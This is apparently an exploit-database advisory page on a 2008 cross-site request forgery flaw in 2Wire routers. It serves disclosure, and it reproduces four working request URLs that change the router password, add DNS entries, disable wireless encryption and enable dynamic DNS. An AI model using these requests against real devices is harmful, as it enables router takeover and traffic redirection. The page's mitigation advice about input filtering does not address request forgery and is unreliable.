Multiple 2Wire Routers Cross-Site Request-Forgery Vulnerability

vendor:

Routers

by:

SecurityFocus

4.3

CVSS

MEDIUM

Cross-Site Request-Forgery

352

CWE

Product Name: Routers

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Multiple 2Wire Routers Cross-Site Request-Forgery Vulnerability

Multiple 2Wire routers are prone to a cross-site request-forgery vulnerability, which may allow a remote attacker to execute arbitrary actions on an affected device. Examples of such actions include setting a password, adding names to the DNS, disabling wireless authentication, and setting dynamic DNS.

Mitigation:

Ensure that all user input is validated and filtered before being used in a web request.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/27246/info

Multiple 2Wire routers are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions on an affected device. 

Set a password (NUEVOPASS):
http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS

Add names to the DNS:
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE